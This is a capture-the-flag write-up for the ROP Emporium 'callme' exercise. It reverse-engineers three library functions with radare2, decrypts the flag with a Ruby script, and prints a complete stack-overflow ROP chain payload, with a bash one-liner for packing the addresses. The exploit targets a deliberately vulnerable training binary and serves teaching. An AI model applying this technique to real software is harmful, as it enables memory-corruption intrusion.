This challenge uses a similar pwnme function to other ROP Emporium challenges.

$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
  gdb ./callme --batch -ex run
callme by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()

Scanning through the symbols we see a number of interesting functions:

$ r2 ./callme -qc "is"
[Symbols]
Num Paddr      Vaddr      Bind     Type Size Name
...
004 0x00001810 0x00401810 GLOBAL   FUNC   16 imp.callme_three
...
008 0x00001850 0x00401850 GLOBAL   FUNC   16 imp.callme_one
...
011 0x00001870 0x00401870 GLOBAL   FUNC   16 imp.callme_two
...

We can’t disassemble them here because they are imported from a shared library. The intricacies of how functions are imported from shared libraries are explored in the pivot challenge.

We need to do some reverse engineering to understand what these functions do.

callme_one

$ r2 ./libcallme.so -qc "aa ; pdf @ sym.callme_one"
...

Takes three arguments

0x000008f8      897dec         mov dword [local_14h], edi
0x000008fb      8975e8         mov dword [local_18h], esi
0x000008fe      8955e4         mov dword [local_1ch], edx

First argument must equal 1

0x00000901      837dec01       cmp dword [local_14h], 1
0x00000905      0f85b0000000   jne 0x9bb

Second argument must equal 2

0x0000090b      837de802       cmp dword [local_18h], 2    ; [0x2:4]=0x102464c
0x0000090f      0f85a6000000   jne 0x9bb

Third argument must equal 3

0x00000915      837de403       cmp dword [local_1ch], 3    ; [0x3:4]=0x1010246
0x00000919      0f859c000000   jne 0x9bb

Opens the flag file as read only

0x0000091f      48c745f80000.  mov qword [local_8h], 0
0x00000927      488d35820200.  lea rsi, 0x00000bb0 ; "r"
0x0000092e      488d3d7d0200.  lea rdi, str.encrypted_flag.txt
0x00000935      e886feffff     call sym.imp.fopen
0x0000093a      488945f8       mov qword [local_8h], rax

Create a 0x21 buffer with malloc

0x0000095b      bf21000000     mov edi, 0x21
0x00000960      e84bfeffff     call sym.imp.malloc
0x00000965      488905fc0620.  mov qword obj.g_buf, rax

Read 0x21 bytes from file into malloced buffer

0x0000098e      488b05d30620.  mov rax, qword obj.g_buf
0x00000995      488b55f8       mov rdx, qword [local_8h]
0x00000999      be21000000     mov esi, 0x21
0x0000099e      4889c7         mov rdi, rax
0x000009a1      e8fafdffff     call sym.imp.fgets

In summary, callme_one does

  • check that edi == 1, esi == 2, edx == 3
  • allocate 0x21 buffer obj.g_buf
  • read 0x21 bytes from FLAG file
  • return pointer to buffer (rax)

callme_two

$ r2 ./libcallme.so -qc "aa ; pdf @ sym.callme_two"
...

First three arguments need to be 1, 2 and 3

0x000009dc      897dec         mov dword [local_14h], edi
0x000009df      8975e8         mov dword [local_18h], esi
0x000009e2      8955e4         mov dword [local_1ch], edx
0x000009e5      837dec01       cmp dword [local_14h], 1
0x000009e9      0f85a2000000   jne 0xa91
0x000009ef      837de802       cmp dword [local_18h], 2
0x000009f3      0f8598000000   jne 0xa91
0x000009f9      837de403       cmp dword [local_1ch], 3
0x000009fd      0f858e000000   jne 0xa91

Open file "key1.dat" as readonly

0x00000a0b      488d359e0100.  lea rsi, 0x00000bb0
0x00000a12      488d3d000200.  lea rdi, str.key1.dat ; "r"
0x00000a19      e8a2fdffff     call sym.imp.fopen
0x00000a1e      488945f8       mov qword [local_8h], rax
0x00000a22      48837df800     cmp qword [local_8h], 0
0x00000a27      7516           jne 0xa3f

The local vairable local_ch is a counter and local_8h is the key file descriptor.

The counter is initialized to zero.

0x00000a46      c745f4000000.  mov dword [local_ch], 0

The following code then loops 16 times.

Read next char from key

  0x00000a4f      488b45f8       mov rax, qword [local_8h] ; fd
  0x00000a53      4889c7         mov rdi, rax
  0x00000a56      e835fdffff     call sym.imp.fgetc

Add counter to buffer pointer

  0x00000a5d      488b15040620.  mov rdx, qword obj.g_buf
  0x00000a64      8b45f4         mov eax, dword [local_ch]
  0x00000a67      4898           cdqe                  ; sign extend eax -> rax
  0x00000a69      4801d0         add rax, rdx

Same again (?)

0x00000a6c      488b0df50520.  mov rcx, qword obj.g_buf
0x00000a73      8b55f4         mov edx, dword [local_ch]
0x00000a76      4863d2         movsxd rdx, edx
0x00000a79      4801ca         add rdx, rcx

Do xor flag[counter] with byte from key1

0x00000a7c      0fb612         movzx edx, byte [rdx]
0x00000a7f      89f1           mov ecx, esi
0x00000a81      31ca           xor edx, ecx

Copy xor result to flag[counter] buffer

0x00000a83      8810           mov byte [rax], dl

Loop 15 more times

0x00000a85      8345f401       add dword [local_ch], 1
0x00000a89      837df40f       cmp dword [local_ch], 0xf

In summary, callme_two does

  • check that edi == 1, esi == 2, edx == 3
  • open key1.dat
  • xor each byte with the flag string in global buffer

callme_three

$ r2 ./libcallme.so -qc "aa ; pdf @ sym.callme_three"
...

Is similar to callme_two except it opens a file called key2.dat and xors bytes 16-32 of the global buffer. It also prints out the result so we don’t need to setup a call to printf manually.

Write a Decryptor

We can test our understanding of the algorithm so far by writing a custom decryptor.

$ cat << EOF > decrypt.rb
  flag = File.read("encrypted_flag.txt")
  key1 = File.read("key1.dat")
  key2 = File.read("key2.dat")
  
  c = 0
  key1.each_byte do |b|
    flag[c] = (flag[c].ord ^ b).chr
    c += 1
  end
  
  key2.each_byte do |b|
    flag[c] = (flag[c].ord ^ b).chr
    c += 1
  end
  
  puts flag
EOF

$ ruby decrypt.rb
ROPE{a_placeholder_32byte_flag!}!

Exploit

Our ROP chain needs to look like this:

  1. 40 bytes padding before the overflow
  2. assign rdi=1, rsi=2, rdx=3
  3. callme_one (0x00401850)
  4. assign rdi=1, rsi=2, rdx=3
  5. callme_two (0x00401870)
  6. assign rdi=1, rsi=2, rdx=3
  7. callme_three (0x00401810)

As luck would have is, a gadget which pops all three registers in a row is available

$ r2 ./callme -qc ' "/R pop rdi;ret" '
  0x00401ab0                 5f  pop rdi
  0x00401ab1                 5e  pop rsi
  0x00401ab2                 5a  pop rdx
  0x00401ab3                 c3  ret

Using the bash one liner from the previous split writeup:

$ echo '0x00
0x00
0x00
0x00
0x00
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401850
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401870
0x00401ab0
0x00000001
0x00000002
0x00000003
0x00401810
0x00401ab0' |
         while read l;
         do
           printf "%016x" "$l" |
           sed -re 's/([0-9a-f]{2})/\\x\1/g' |
           tac -b -rs '\(\\x\|\s\)'
         done
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x70\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00

I’ll expand on the bash code a bit because it is useful for the other ROP Emporium challenges as well.

The while read l loops over every line, putting it into variable l

echo 'one
two
three' | while read l; do echo $l; done
one
two
three

The printf removes 0x and adds zero padding to 64 bits e.g.

$ printf "%016x" 0x00401ab0
0000000000401ab0

The sed replaces every 2 digits with itself plus a leading \x

$ echo "01020304" | sed -re 's/([0-9a-f]{2})/\\x\1/g'
\x01\x02\x03\x04

The tac is opposite of cat, reverses the order of lines/characters

$ echo -n "\x01\x02\x03\x04" | tac -b -rs '\(\\x\|\s\)'
\x04\x03\x02\x01

And finally the echo -e converts "\xNN" into literal bytes

$ echo -e "\x61\x62\x63"
abc

So the final exploit looks like this

$ echo -e "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x50\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x70\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18\x40\x00\x00\x00\x00\x00\xb0\x1a\x40\x00\x00\x00\x00\x00" | LD_LIBRARY_PATH=. ./callme
callme by ROP Emporium
64bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}